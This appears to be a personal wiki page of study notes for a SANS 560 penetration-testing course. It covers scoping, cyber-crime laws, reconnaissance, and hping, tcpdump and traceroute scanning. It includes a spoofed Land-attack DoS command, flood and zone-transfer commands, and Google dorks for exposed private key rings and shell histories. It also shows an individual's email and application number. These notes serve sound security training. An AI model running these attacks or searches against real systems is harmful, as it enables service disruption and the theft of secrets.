User Tools

Site Tools


aoe:sans2010

Table of Contents

Sans Security 560 Network Penetration Testing and Ethical Hacking

5/17/2010 through 5/22/2010

Application Confirmation

Your GIAC Certification Application submission has been completed successfully. Please include the following in all your e-mails if you should require help: Your portal e-mail address is steve.edwards@vt.edu and your SD Number is 875787. Thanks!

Exam Certification Objectives
Cain --4.111
Command Injection --5.150
Command Shell vs. Terminal Access --3.88
Cross Site Request Forgery --5.106
Cross Site Scripting --5.124
Enumerating Users --2.155
Exploitation Fundamentals
Finding Vulnerabilities with Search Engines --1.192
John the Ripper --4.90
Legal Issues --1.118
Metasploit --3.20
Moving Files with Exploits  --3.135
Network Sweeping and Tracing --2.20, 2.40
Nikto --5.79
Non-Metasploit Exploits 
Obtaining Password Hashes --4.175
OS and Version Detection --2.88
Paros --5.89
Pass-the-Hash Attacks --4.159
Password Attack Fundamentals --4.24
Password Formats --4.62
Password Guessing with THC-Hydra --4.48
Pen-testing Foundations 
Pen-testing Methodologies and Infrastructure --1.25 --1.31
Pen-testing Process --1.68
Pen-Testing via the Windows Command Line --3.147
Pen-testing with Netcat --2.168 3.125
Port Scanning --2.49
Rainbow Tables --4.133
Reconnaissance Foundations --1-132
Reconnaissance Using WHOIS and DNS --1-136
Reporting the Results --1.103
Running Windows Commands Remotely --4.3
Scanning Fundamentals --2.3
SQL Injection --5.162
Vulnerability Scanning --2.109
Web-based Reconnaissance
Wireless Crypto and Client Attacks --5.37 --5.64
Wireless Fundamentals --5.3

Day 1 Planning, Scoping, and Recon

Planning, Scoping, and Recon ..1.1

  • The Mindset of a Penetration Tester and Ethical Hackers ..1.5

Defining Terms ..1.6

Threat vs Vulnerability vs Risk ..1.7

  • Threat
  • Vulnerability
  • Risk
  • Exploit

Hacks, Tests, Assessments, and Audits ..1.8

  • Ethical Hacking
  • Penetration Testing
  • Security Assessments (and Vulnerability Assessments)
  • Security Audits

Ethical Hacking Definition ..1.9

Penetration Testing ..1.10

Security Assessments ..1.11

Security Audits ..1.12

Motivation ..1.13

Why Ethical hacking and Penetration Testing? ..1.14

Addressing Discovered Vulnerabilities ..1.15

Types of Pen Tests ..1.16

Types of Ethical Hacking and Penetration Tests ..1.17

  • Network Services Test
  • Client-side test
  • Web application test
  • Remote dial-up war dial test
  • wireless security test
  • Social Engineering test

Additional Test Types ..1.18

  • Physical security test
  • Stolen equipment test
  • Cryptanalysis attack
  • Shrink-wrapped software test

The Phases of an Attack ..1.19

  • Reconnaissance
  • scanning
  • Exploitation
  • Maintaining access with backdoors and rootkits
  • Covering tracks with covert channels and log editing

Limitations of Pen Testing ..1.20

Limitations of Penetration Testing and Ethical Hacking ..1.21

Additional Limitations ..1.22

Other Approaches to Finding Security Vulnerabilities ..1.23

  • Configuration review
  • Architecture review
  • Interviews with target environment personnel
  • Detailed audits

So, Why Pen Testing and Ethical Hacking? ..1.24

Free Testing and Methodologies ..1.25

Public/Free Testing Methodologies ..1.26

  • Open Source Security Testing Methodology Manual (OSSTMM)
  • NIST Special publication 800-42: Guideline to Network Security Testing
  • Open Web Application Security Project (OWASP) Testing Guide
  • Penetration Testing Framework

Open Source Security Testing Methodology Manual (OSSTMM) ..1.27

NIST Guideline on Network Security Testing ..1.28

OWAP Testing Guide ..1.29

Penetration Testing Framework ..1.30

Building an Infrastructure ..1.31

Building an Infrastructure for Ethical Hacking ..1.32

Linux vs. Windows ..1.33

Software for Testing – Pre-packaged Testing Suites ..1.34

Other Free Software Tools ..1.35

Some Sources for Free Tools and Exploits ..1.36

Vulnerability Research Sources ..1.37

Commercial Tools ..1.38

In-House Developed Tools ..1.39

Hardware: A Note on Nomenclature ..1.40

Hardware: A Laboratory for Analyzing Tools ..1.41

Hardware: System Used for Testing ..1.42

Virtualizing the Testing Machines ..1.43

  • don't use nat because during rapid testing, the nat table can fill up and loose packets

Network Infrastructure – ISP ..1.44

Testing network Infrastructure – Firewall Concerns ..1.45

Avoid Firewall on Testing Network ..1.46

Harden Testing Systems Carefully ..1.47

Encrypt Test Machine File Systems ..1.48

Scrub Test Machines of Results Between Tests ..1.49

Linux shred overwrites files with alternating zeros and ones to delete them

# shred

On Windows, cipher shreds unallocated space of the partition of which the directory resides, it does not overwrite the directory or contents.

c:\> cipher /w:<dir name>

dban

Journaling files system is not removed with the tools. Using the machine a couple of days will wipe it out.

Course DVD and Targets ..1.50

Course DVD Overview ..1.51

Course DVD Issues ..1.52

Network Setup ..1.53

Target Environment Overview ..1.54

Ground Rules for labs ..1.55

Networking Host and Guest ..1.56

Bridged vs. Host-Only ..1.57

Host IP Addresses ..1.58

Six Phases to Set Up This Network Scheme ..1.59

1 Put Vmnet1 on 10.10.0.0 Subnet ..1.60

Finishing Step 1 Addressing a Small Bug in Vmware ..1.61

Step 2 Set Guest Network Settings ..1.62

Remember for Exercises ..1.65

Practicing – Bridged Networking ..1.66

Practicing – Host-Only Networking ..1.67

Overall Process ..1.68

Overall Penetration Testing Process ..1.69

  • Preparation
    • Nondisclosure Agreement if applicable
    • Discuss nature of test with target personnel
    • Sign off on permission and notice of dager of testing
    • Assign Team
  • Testing
    • Conduct the test
  • Conclusion
    • Reporting and (possible) penetration

Permission Memo ..1.70

Pen Test Companies – Limitation of Liability and Insurance ..1.71

Rules of Engagement ..1.72

Rules of Engagement vs. Project Scope ..1.73

Rules of Engagement ..1.74

Important Stuff Not Included in the Rules of Engagement ..1.75

Contact information ..1.76

Daily Debriefing ..1.77

Dates and Time of Day ..1.78

Announced vs. Unannounced Tests ..1.79

Dealing with the Shunning of Pen Test Traffic ..1.80

Black Box vs. Crystal Box Testing ..1.81

Viewing Data on Compromised Systems ..1.82

Finalizing Pen Test Planning ..1.83

Scoping ..1.84

Scoping – What are the Concerns? ..1.85

Scoping – Avoiding Scope Creep ..1.86

Setting the Scope – What to Test? ..1.87

Scope of Test – Third Parties ..1.88

Pen Testing The Cloud ..1.89

Test vs. Production Environments ..1.90

Setting the Scope – How to Test ..1.91

Internal and Pseudo-internal Access ..1.92

Social Engineering Tests or Not? ..1.93

Conducting Social Engineering Tests ..1.94

Denial of Service ..1.95

“Dangerous” Exploits ..1.96

Scoping Exercise ..1.97

Exercise: Scoping and Rules of Engagement ..1.98

The RFP ..1.99

Important Scenario Objectives ..1.100

Preparing ..1.101

Exercise Debrief ..1.102

Reporting ..1.103

Always Create a Report ..1.104

Don't just Regurgitate Vuln Scan Results ..1.105

  • Executive Summary
  • Introduction ..1.109
  • Methodology ..1.110
  • Findings ..1.111
    • High-Risk
    • Medium Risk
    • Low Risk
  • Conclusions ..1.116
  • (Optional) Appendicies ..1.117

1 Executive Summary ..1.107-108

  • Most important part
  • 1-1.5 pages
  • Very briefly summarize project
  • Then summarize overall risk posture identified during test
  • Finally, include bulleted listof three to six significant findings
  • mediocre test with good executive summary may be more valuable than a good test with a mediocre executive summary

Recommendations ..1.112-113

Screenshot Elements ..1.115

Computer Crime Laws ..1.119

Countries We'll Analyze ..1.120

Cyber Crime Laws in the US ..1.121-122

  • Cyber Security Enhancement Act of 2002
    • Pretty severe penalties! Possible life in prison for attacker who “recklessly causes or attempts to cause death”
  • Title 18, P 1362: Communication lines, station or systems
    • Prohibits malicious injury or destruction of communications equipment, with fines and imprisonment up to 10 years
  • Title 18, P 2510 et seq:Wire and Electronic Communications Interception and Interception of Oral Communications
    • Prohibits unauthorized interception of electronic communications
    • Allows service providers to monitor network to keep it running
    • Specifies procedures for law enforcement to apply for court order
  • Title 18, P 2701 et seq: Stored wire and electronic communications and transactional records access
    • Prohibits access to stored information without permission of owner
    • Exceptions for service provider and intended recipient

Cyber Crime Laws in Canada ..1.123

  • Criminal Code of Canada, Section 184: Interception of Communications
  • Criminal Code of Canada, Section 342: Unauthorized Use of Computer

Cyber Crime Laws in the United Kingdom ..1.124

  • Computer Misuse Act of 1990

Cyber Crime Laws in Germany ..1.125-126

  • Penal Code Section (Strafgesetzbuch, StGB) 202a, Data Espionage
  • Section 202c, referred to as the “Anti-Hacking Law”
  • Section 303a: Alteration of Data
  • Section 303b: Computer Sabotage

Cyber Crime Laws in Australia ..1.127

  • The Cybercrime Act of 2001

Cyber Crime Laws in Japan ..1.128

  • Law No. 128 of 1999: Unauthorized Computer Access Law

Cyber Crime Laws in Singapore ..1.129

  • Chapter 50a: Computer Misuse Act

Cyber Crime Laws In Summary ..1.130

Reconnaissance ..1.131

Overview of Recon ..1.132

Reconnaissance ..1.133

Maintain Inventory ..1.134

Target IP AddressTarget NameTarget OSHow DiscoveredListening PortsKnown VulnsAdmin Accts/PasswdsOther Accts/PasswrdsMisc Notes

Inventory – How Discovered ..1.135

  • Revealed by target organization personnel
  • Google search
  • DNS Zone transfer
  • DNS Reverse Lookup
  • Discovered during Network Sweep
    • ICMP
    • TCP Port
    • UDP Port
  • Discovered during wireless Assessment or Physical Assessment
  • Discovered by compromise of one host, allowing scans to find other targets
  • others

Whois Lookups – Registrars, ARIN, ASNs, etc. ..1.136

Whois Searches ..1.137

Whois Web-based Results ..1.138

Whois at the Command Line ..1.139

  • many Linuxes, the whois command actually invokes the jwhis program

whois [-h whis_server] name

Whois Results ..1.140

IP Address Assignment Whois Databases ..1.141

  • RIRs - Regional Internet Registries
    • ARIN - American Registry for Internet Numbers - North America
    • RIPE NCC - Reseaus IP Europeens Network Coordination Centre - Europe, the Middle East, and part of Central Asia
    • APNIC - Asia Pacific Network Information Centre - covers Asia-Pacific region
    • LACNIC - Latin American and Caribbean Internet Address Registry - Latin America and most of the Caribbean
    • AfriNIC - Africa

ARIN Lookup ..1.142

  • specify company name or IP address
  • Can specify record types
    • n: network address space
    • a: autonomous system
    • p: point of contact
    • o: organization
    • @ [domain_name]: match e-mail address
  • ASN
  • BGP

Sample ARIN Lookups: n and a ..1.143

n microsoft
a microsoft

Sample ARIN Lookups ..1.144

p microsoft
@ microsoft.com

Web Site Searches ..1.145

Gather Competitive Intelligence ..1.146

  • Using Search Engines, Determine organization's:
    • Major Businesses
    • Major Products or services
    • Corporate officers and other VIPs
    • Major competitors
    • Physical Locations
    • Recent Press releases

Look for Open Job Requisitions ..1.147

  • types of skills being sought indicate technologies being used
    • Web server type
    • Web Application dev environment
    • Firewall type
    • Routers
  • Google searches
    • site:[companydomain] careers
    • site:[companydomain] jobs
    • site:[companydomain] openings
  • Job related sites

Searching for Relevant People ..1.148

phonebook:[name] [state]

Mining Social Network Sites ..1.149

  • check profiles for coding skill, environment, networking capabilities, kinds of systems they administer.
  • Robin Wood's gpscan.rb tool searches foogle Profiles to find all people associated with a given company
  • Jason Wood's Teconnoiter scripts harvest names from social networking sites and make variations for potential user names.

Document Metadata Analysis ..1.150

Document Metadata ..1.151

  • Useful information:
    • Fuser names
    • Files system paths
    • Email addresses
    • Clent-side software
    • Undoo data, previous revisions, hidden or obsscured fields, etc.

Document Types that Are Rich in Metadata ..1.152

  • pdf
  • doc, dot, and docx
  • xls, xlt, xlsx
  • ppt, pot, pptx
  • jpg and jpeg
  • html and htm ( e.g., comments and hidden form elements)
  • others

Retrieving Documents for Metadata Analysis ..1.153

  • review docs sent
  • ask for docs in different formats
  • pull documents from website using a web spider
  • In-house penetration testers can often harvest documents from fileserver

Tools for Analyzing Document Metadata ..1.154

  • exiftool
  • FOCA
  • Metadata Extraction Tool by the National Library of New Zealand (NLNZ)
  • strings
  • others

ExifTool ..1.155

Strings Command Details ..1.156

  • useful for unstructured data
  • 16-bit big endian Unicode
    • -e b
  • 16-bit little endian Unicode
    • -e l
  • four characters by default, to change:
    • -n [minlen]
  • sysinternals strings
    • looks for both ASCII and Unicode
    • searches for both big endian and little endian by default
    • for just ASCII
      • -a
    • for just Unicode
      • -u
    • three charaters by default, to change:
      • -n [minlen]

Metadata Exercise ..1.157

Exercise: Metadata ..1.158

  • WidgetStatisticalAnalysis.xls
  • WidgetStatisticalWhitepaper.doc
  • WidgetStatisticalWhitepaper.pdf

How the Files Were Retrieved ..1.159

  • Exclude (Restrict) files:
wget -nd -r -R htm,html,php,asp,aspx,cgi -P /home/tools/560metadata_ex [target_domain]
  • Include (Allow) files:
wget -nd -r -A pdf,doc,docx,cls,xlsx -P /home/tools/560metadata_ex [target_domain]
  • Options used:
    • -nd: No directories (Place all files in specified directory)
    • -r: Recursive download
    • -P [directory]: Prefix output file locations with [directory]
    • -R/A: Restrict or allow file types or patterns

Exiftool Metadata Extraction and Analysis ..1.160

# cp /home/tools/560metadata_ex/Widget* /tmp
  • a copy is also in the Windows directory of the DVD
# exiftool [filename]

Exiftool Metadata ..1.161

# exiftool WidgetStatisticalAnalysis.xls
# exiftool WidgetStatisticalWhitepaper.doc
# exiftool WidgetStatisticalWhitepaper.pdf

Strings Metadata ..1.167

# strings [filename]

Strings Metadata ..1.168-174

# strings WidgetStatisticalAnalysis.xls
# strings WidgetStatisticalWhitepaper.doc
# strings WidgetStatisticalWhitepaper.pdf
  • Look for little endian unicode
# strings -e l WidgetStatisticalAnalysis.xls |grep '\\'
  • Look for big endian unicode
# strings -e b WidgetStatisticalAnalysis.xls |grep '\\'

DNS Lookups – Nslookup, etc. ..1.175

Querying DNS Servers ..1.176

  • At the end of the whois information, we have a listing of the target organization's DNS server(s)
  • DNS records:
    • NS: Nameserver record, which indicates the name servers associated with a given domain name.
    • A: Address record, which maps a domain name into an address.
    • HINFO: Host Information record, which associates an arbitrary set of information with a domain name, formerly used to indicate system types.
    • MX: Mail Exchange record, which includes an arbitrary text string for the domain.
    • TXT: Text record, which includes an arbitrary text string for the domain.
    • CNAME: Canonical Name record, which indicates aliases and alternative names for a given host.
    • SOA: Start of Authority record, which indicates that a server is authoritative for that DNS zone (set of records).
    • RP: Responsible Person records….
    • PTR: Pointer for inverse lookups recordalso called a reverse record, indicating an IP address to domain name mapping.
    • SRV: Servoce ;pcatopm recprds, which provides information about available services, including port and hostname (seldom used).

The nslookup command ..1.177

  • zone transfer ability removed from Linux command, but still works in Windows.
nslookup www.sans.org
  • interactive mode
nslookup
> www.sans.org

Using nslookup Interactively ..1.178

  • Resolve an individual name or IP address
> [name or IP addr]
  • Use a different DNS Server
> server [serverIPaddr or name]
  • Say that we're interested in all types of records
> set type=any
  • Perform a zone transfer of all records for a given domain
> ls -d [target_domain]
  • Store zone transfer output in a file
> ls -d [target_domain] [> filename]
  • view file
> view [filename]

Nslookup Recurse vs. Norecurse ..1.179

> set norecurse
> set recurse
  • Cache snooping is resolving addresses without re-cursing up to authoritative server

The dig command ..1.180

  • nslookup command in modern Linuxes cannot perform a zone transfer, but dig can
dig @[server] [name] [type]

-t specifies zone transfer

  • full zone transfer:

-t AXFR

  • Incremental zone transfer:

-t IXFR=N

  • N is an integer that refers to the serial number of a Start of Authority record. The incremental zone transfer request will pull all records that have changed since the SOA aerial number was the N we specified in our dig request.
  • Toggle recursion on and off

+norecursive
+recursive

The dig Command Performing Zone Transfer ..1.181

dig @10.10.10.45 target.tgt -t AXFR

DNS Query Websites ..1.182

Additional Recon Tools: Sensepost's BiLE ..1.183

  • Bi-directional Link Extractor

The BiLE.pl Script ..1.184

  • Uses a scriptable browser called HTTrack to access web sites
$ ./BiLE [target] [results_file]
  • then crawls the target site, fetching every page
    • It searches pages to find links to other sites
    • It then crawls those sites, searching for links
  • searches Google with link:[target] search, to find sites linked to the target
  • Produces a big output file of form [Source_site]:[Destiniation_site] containing potentially interesting related sites

The BiLE-weigh.pl Script ..1.185

  • starts with the output from BiLE
$ ./BiLE-weigh.pl [site_of_interest] [BiLE_output.mine]
  • applies complex weighting algorithm to determine which sites are related to a given target of interest.
  • A relative score is assigned to each site, based on how it relates to other sites

The tld-expand.pl and vet-IPrange.pl Scripts ..1.186

  • The tld-expand.pl script takes a list of domain names and appends over 250 Top-Level-Domain suffixes to them, looking them up in DNS to determine if they are valid
  • Output is list of valid full domain names
  • The vet-IPrange.pl script then looks up all domain names discovered by BiLE, ranked by BiLE-weigh, and identified by exp-tld, and looks up their IP addresses

The qtrace.pl and vet-mx.pl Scripts ..1.187

  • qtrace.pl uses Hping to traceroute to all target IP addresses listed in a file, such as the output of vet-IPrange.pl
  • vet-mx.pl looks up the Mail eXchanger (MX) record for each domain name listed in a file
  • BiLE → BiLE-weigh → exp-tld → vet-IPrange & vet-mx → qtrace

The Jarf-rev and Jarf-dnsbrute Scripts ..1.188

  • helpful in getting information from DNS even when zone transfers are blocked
  • Jarf-rev takes a target network range and performs reverse DNS lookups on all names in the range
  • Jarf-dnsbrute takes a given domain and a file containing words, then performs a DNS lookup on each domain name
    • can generate a huge amount of DNS queries

Recon with Maltego ..1.189

Maltego for Pen Testers ..1.190

  • by Paterva
  • General purpose recon tool
  • commercial and community edition
  • $430/year
  • 15-sec nag screen, can't save results, limits zoom, limited to 75 transforms a day
  • Uses “transforms” to look up information
    • Domain name to IP address (dns)
    • IP address to org name (netblock)
    • Org name to person's name (whois)
    • Person's name to PGP key (Public key servers)
    • PGP key to person's name (who signed the key?)
    • Persons' names to phone numbers (phone lookup)

Using maltego ..1.191

Search Engin Vuln-Finding ..1.192

  • Searches only within a given site
site:www.counterhack.net wireless
  • Shows all sites linked to a given site
link:www.counterhack.net
  • Shows similar pages - sometimes useful, sometimes not
related:insecure.org

Useful Google Search Directives – Page Titles and URLs ..1.194

  • Shows pages whose title matches the search (index.of) (with passwd on page) (conbine with site: to restrict search
intitle:index.of passwd
  • Shows pages whose URL matches the search criteria
inurl:viewtopic.php

Searching for File Types ..1.195

  • search for a given file type.
  • google sometimes mistakes a fiven file type, so it is good to include the file suffix as a general search term
  • filetype: and ext: are synonymous
site:counterhack.net filetype:ppt
site:counterhack.net etc:ppt

more general:

site:counterhack.net ppt

Inventory of Discoverable Flaws Via Google ..1.196

  • Johnny Long maintains a huge inventory of Google searches that can find vulnerable systems at
johnny.ihackstuff.com
  • Advisories and vulnerabilities*
  • Error messages
  • Files containing juicy info*
  • Files containing passwords*
  • Files containing usernames
  • Footholds*
  • Login portals
  • Network or vuln data*
  • Sensitive directories
  • Sensitive on-line shopping info*
  • On-line devices*
  • Vulnerable files
  • Vulnerable servers*
  • Web server version detection

Some Intersting Samples from the GHDB .1.197

  • PGP and GnuPG private key rings:
intitle:index.of intext:”secring.skr”|”secring.pgp”|”secring.bak”
  • Shell history files in interesting domains:
site:somethinginteresting intitle:index.of bash_history
  • Robots.txt file with excessive disallow lines:
robots.txt disallow filetype:txt
  • Nessus scan results:
intitle:”Nessus Scan Report” “This file was generated by Nessus”

Automated Google Search Tools ..1.198

  • wikto for Windows
    • spiders wegsite, scans for vulnerable web scripts, and more
    • wikto uses AURA proxy to map SOAP-style request to human usable Google website, which violates Google's terms of service.
  • cDc's Goolag
    • Uses GHDB, but easily expanded with XML
    • also can be banned by Google
  • GnuCitizen's GHDB Scanner

Finishing the Recon Phase ..1.199

Day 2

Scanning Goals and Types ..2.3

Goals of Scanning Phase ..2.4

  • Determine network addresses of live hosts, firewalls, routers, etc. in the network
  • Determine network topology of target environment
  • Determine operating system types of discovered hosts
  • Determine open ports and network services in target environment
  • Determine lists of potential vulnerabilities
  • Do these in a manner that minimizes risk of impairing host or service

Scan Types ..2.5

  • Network sweeping
  • Network tracing
  • Port Scanning
  • OS fingerprinting
  • Version scanning
  • Vulnerability scanning

Workflow of Scanning Phase ..2.6

  • Network sweeps
    • Network Tracing
      • Port Scans
        • OS fingerprinting
          • Version scans
            • Vulnerability scans

Overall Scanning Tips ..2.7

Scanning Tip: Usually Scan Target IP Address, Not Name ..2.8

Tip: Dealing with Very Large Scans ..2.9

  • with port 0, there are 65536 TCP ports and 65536 UDP ports
  • 1 second for each port would require a considerable amount of time to scan

Tip: Handling Large Scans by Limiting Scope ..2.10-11

  • sample a subset of machines, looking for representative targets
  • sample target ports
    • TCP 21,22,23,25,80,135,137,139,443,445, etc
  • Review network firewall ruleset and measure only those ports that could reasonably make it through the firewall

Tip: Handling Large Scans by Speeding up ..2.12-13

  • Tweak firewall rules to sen RESETs and ICMP Port Unreachable messages from closed ports
  • Use Hyperfast port scanning methods
    • Large number of machines, and/or
    • Much faster packet send-rate from existing machine, lowering time outs (bu may lose packets, and/or
    • Moving closer to targets, near high-bandwidth backbone, and/or
    • Very fast scanning tools, like those featured in Dan Kaminsky's ScanRand
    • Downside: You could create a denial of service attack
      • Be careful of network bottlenecks in attacking and targeting infrastructure!

Sniffing with tcpdump ..2.14

Scanning Tip: While Scanning, Run a Sniffer ..2.15

  • not to capture packets, but to visualize the scan as it happens

Scanning Tip: Use tcpdump ..2.16

Tip: Helpful tcpdump Options to Use While Scanning ..2.17

$ sudo tcpdump
  -n: use numbers instead of names for machines
  -nn: Use numbers instead of names for machines and ports
  -i [int]: Sniff on a particular interface (-D lists interfaces)
    -D shows a list of interfaces
  -v: Be verbose (print TTL, IP ID, Total Length, IP options, etc.)
    -v and -vv show even more information
  -w: Dump packets to a file 9use -r to read file later)
  -x: Print hex
  -X: Print hex and ASCII
  -A: Print ASCII (Doesn't work in all versions, consider -X instead)
  -s [snaplen]: Snarf this many bytes from each packet, instead of the default of 68 for most Oss, -s grabs entire packets

Tip: Helpful tcpdump Expressions to Use While Scanning ..2.18

  • Protocol
ether
ip
ip6
arp
rarp
tcp
udp
  • Type

host [host]

net [network]
port [portnum]
portrange [start-end]
  • Direction

src: only packets from that host or port

dst: only packets to that host
  • Use “and” or “or” to combine these together

Tip: Some Quick Usage Examples ..2.19

  • Show TCP packets against target 10.10.10.10 in ASCII and HEX
tcpdump -nnX tcp and dst 10.10.10.10
  • Show all UDP packets from 10.10.10.10
tcpdump -nn uds and src 10.10.10.10
  • Show all TCP port 80 packets going to or from host 10.10.10.10
tcpdump -nn tcp and port 80 and host 10.10.10.10

Network Sweeping ..2.20

Network Sweeping with Hping ..2.21

  • By default, sends TCP packets with no control bits set to target port 0 continuously, once per sercond,
    • possibly getting resets back
hping3 10.10.10.20

Hping Protocol Selection ..2.22

--udp: send UDP packets
--icmp: send ICMP packets
--rawip: send raw IP packets, with no TCP or UDP component

# hping3 --rawip 10.10.10.20
  • most systems will silently reject a raw IP message.

Setting TCP Control Bits ..2.23

  • By default, Hping sets all TCP Control Bits to zero
  • supports simple syntax to choose control bits

--syn
--fin
--rst
--push
--ack
--urg

Hping target Selection ..2.24

  • Will send packets to random targets whereever an x is included in the IP address. Targets are repeated randomly

--rand-dest IP_addr

  • When using the random destination option, you must specify which interface to send the packets on

--interface [Int]

# hping3 --rand-dest 10.10.10.x --interface eth0

Hping source Selection ..2.25

  • sets spoofed source OP address of all packets sent
hping3 –spoof 10.10.10.10 10.10.10.20
  • Randomly selects a source address for all packets

--rand-source

  • no way to specify a range
  • still useful for stress testing stateful firewalls
  • May fill up a stable table, causing additional packets for other users to be dropped

Hping Port Selection ..2.26

  • Use this destination port

--destport [port]

  • If preceded by a +, port is incremented by 1 for each response received
  • If preceded by a ++, port is incremented by 1 for each packet sent
  • Scan this target range or list of ports

--scan [port_range/list]

  • Start with this source port, incrementing for each packet sent

--baseport [port]

  • use only a single source port for all packets sent

--keep

Hping: Some Helpful Options ..2.27

  • Send only N packets:

--count [N]

  • Beep when a packet is received

--beep

  • send contents of file as payload, bust be used with –data

--file [filename]

  • Length of payload to send, in bytes (if no –fie, payload is Z's)

--data [N]

Hping: Speed Options ..2.28

  • send 10 packets per second

--fast

  • send 1,000,000 packets per second (if possible)

--faster

  • send packets as fast as possible, perhaps even faster than they can be displayed

--flood

  • send packets every N seconds (or every uN microseconds)

--interval [N]
--interval u[N]

Using Hping to Iterate through an Address Space ..2.29

  • iterate through an address space using Linux
for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i; done
  • only print systems that respond
for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i 2>/dev/null | grep ip=; done

Hping/tcpdump Exercise ..2.30

Exercise: Hping and tcpdump ..2.31

1 Default Hping Behavior ..2.32

  • Configure tcpdump to display all packets with your machine's IP address and the IPaddress of target machine 10.10.10.20, in either direction
  • Run Hping against 10.10.10.20 with no options
  • In your sniffer output:
    • What is the default Layer 4 protocol?
    • What is the default source port? How could you make it a fixed number?
    • What is the default destination port?
    • What kind of response do you see?

1 One Possible Answer ..2.33

hping3 10.10.10.20
tcpdump -nn host [yourLinuxIPaddr] and host 10.10.10.20
  • we can infer that the layer 4 protocol is TCP, because only TCP has control bits
  • incrementing source ports. –baseport [port] –keep
  • default dest port 0
  • RESET (R) and ACK (ack) from target and ICMP unreachable from source machine

2 Ping and Ping with Payload ..2.34

  • Run tcpdump configured to show only ICMP messages, in Hex and ASCII format, without resolving names
  • Use the standard ping command to ping 10.10.10.20 to verify your configuration

Create a file containing some text

# echo helohelohelo > test.txt
* Use hping to send that file to the target via ICMP Echo Request payloads
View the payloads in the responses... it truly is an echo

2 One Possible Answer ..2.35

tcpdump -nnX icmp
hping3 –icmp –data 40 –file test.txt 10.10.10.20

3 Land Attack ..2.36

  • Land attack
    • Source IP addr = dest IP addr = target addr
    • Source port = destination port = open port on target
  • Using Hping, create a single Land-style attack for 10.10.10.20 on TCP port 80

3 One Possible Answer ..2.37

hping3 –-count 1 –-baseport 80 –-destport 80 –-syn –-spoof 10.10.10.20 10.10.10.20

4 using Hping –beep to Verify Connectivity

  • test beep

echo -e “\x07”

  • Invoke Hping to ping 10.10.10.20 with ICMP at an interval of every 10 seconds

4 One Possible Answer ..2.39

hping2 –icmp –interval 10 –beep 10.10.10.20

Network Tracing ..2.40

The IP Header and TTL Field ..2.41

Byte1Byte2Byte3Byte4Byte5Byte6Byte7Byte8
Vers Hlen Service Type Total Length
Identification Flags Fragment Offset
Time To Live Protocol Header Checksum
Source IP Address
Destination IP Address
IP Options Padding
Data
….

Traceroute ..2.42

  • Traceroute - Linux/Unix
  • Tracert - Windows
  • Packet sent with TTL of 1 causing the next router to send ICMP TTL Exceeded
  • Increments TTL until the destination is reached
  • No response from a router is usually indicated by a *

Linux/Unix Traceroute ..2.43

  • sends UDP packets with incrementing ports starting at base port of 33434, going up by one prot for each probe packet sent (each hop measured three times)
  • Some useful options:

-f[N]: set initial TTL for the first packet
-g [hostlist]: Specify a loose source route (8 maximum hops)
-I: Use ICMP Echo Request instead of UDP
-m [N]: Set the maximum number of hops
-n: Print numbers instead of names
-p [port]: Set the base UDP port (default base is 33434, which is incremented for first packet, and for each subsequent packet, with each hop measured three times)
-w [N]: Wait for N seconds before giving up and writing * (default is 5)

Linux/Unix Traceroute Example ..2.44

tcpdump -v -nn udp
traceroute -n 64.112.229.131

Windows Tracert ..2.45

  • sends ICMP Echo requests
  • Some useful options:

-d: Don't resolve names
-h [N]: Maximum number of hops (default is 30)
-j [hostlist]: Use loose source routing, with a space-separated list of router IP addresses (up to 9 max) -w [N]: Wait for N milliseconds before giving up and writing a * (default is 4000)

Other Traceroute Tools ..2.46

  • These tools rely on getting an ICMP Time Exceeded message back
  • If ICMP Echo Request is blocked, Windows tracert has problems
  • If high UDP packets are blocked, Linux/Unix tracerout has problems
  • other tools
    • LFT
    • 3D Traceroute
    • Web based
    • mtr, a Linux command that combines ping and traceroute using ncurses interface

Layer Four Traceroute (LFT) ..2.47

  • Free at http://pwhois.org/lft for Linux and Unix
    • Use TCP (default), UDP (-u), or ICMP Echo Request (-p)
    • Choose destination port (-d [port]), default for TCP is 80
    • Choose source port (-s [port])
    • Set Chosen length (-L [N]) including layer 3 and 4 header lengths
    • Looks up AS number (-A) using various whois servers
  • Also supports RFC 1393 Tracerout via IP options (-P)
    • not widely implemented in routers

Web-Based Traceroute Services ..2.48

Port Scanning ..2.49

TCP vs. UDP ..2.50

  • Most services on the Internet are TCP or UDP
  • TCP: Connection oriented, tries to preserve sequence, retransmits lost packets
  • UDP: Connectionless, no attempt made for reliable delivery

TCP Header ..2.51

Byte0a Byte0b Byte1a Byte1b Byte2a Byte2b Byte3a Byte3b
Source Port Destination Port
Sequence Number
Acknowledgement Number
HlenRSVDControl Bits Window
Checksum Urgent Pointer
TCP Options (if any) Padding
Data
…..

TCP Control Bits ..2.52

  • Contol Bits, aka “Control Flags” or “Communications Flags”
  • 6 traditional ones with 2 newer extended ones for congestion control
CWR ECE URG ACK PSH RST SYN FIN
RFC 3168

TCP Three-Way handshake ..2.53

  • tcp three way handshake used to exchange sequence numbers that will be applied in increasing fasion for all follow-on packet for that connection
  • SYN, SYN-ACK, ACK
  • Exchange ISN's, initial sequence numbers

Scanning TCP Ports ..2.54

  • According to TCP specs (RFC 793)…
  • …if something is listening on a TCP port…
  • …and a SYN arrives on that port…
  • …the system responds with a SYN-ACK…
  • …regardless of the payload of the SYN packet
  • That gives us a reliable indication of which ports are listening

TCP Behavior while Port Scanning ..2.55-56

  • Case T1: SYN in, SYN-ACK back – Easy: The port is open
  • Case T2: SYN in, RST-ACK back – Easy: The port is closed (or a firewall is blocked it)
  • Case T3: SYN in, ICMP port Unreachable back – The port is inaccessible, likely blocked by a firewall (on network or end system). Nmap marks as “filtered”
  • Case T4: SYN in, nothing back – The port is inaccessible, likely blocked by a firewall (on the network or end system). Nmap marks as “filtered”.

Results of Different TCP Behaviors ..2.57

  • Resets or ICMP Port Unreachables back cause the scan to go much faster
  • Nothing back causes it to take a lot more time waiting for a timeout

UDP Header ..2.58

Source Port Destination Port
UDP Message Length UDP Checksum
Data
…..

Scanning UDP Ports ..2.59

  • UDP is far simpler protocol without trackin of stat of a “connection”
  • Less options, often slower, and less reliable.

UDP Behavior while Port Scanning ..2.60-61

  • Case U1: UDP in, UDP back – Easy, the port is open
  • Case U2: UDP in, ICMP port unreachable back – Easy, the port is closed (or a firewall blacked it)
  • Case U3: UDP in, nothing back –
    • the port is inaccessible
      • Port is closed
      • Firewall is blocking inbound UDP probe packet
      • Firewall is blocking outbound response
      • Port is open, but it was looking for specific data in UDP payload. Without the Data, no response was sent
    • Nmap marks as open|filtered

Nmap ..2.62

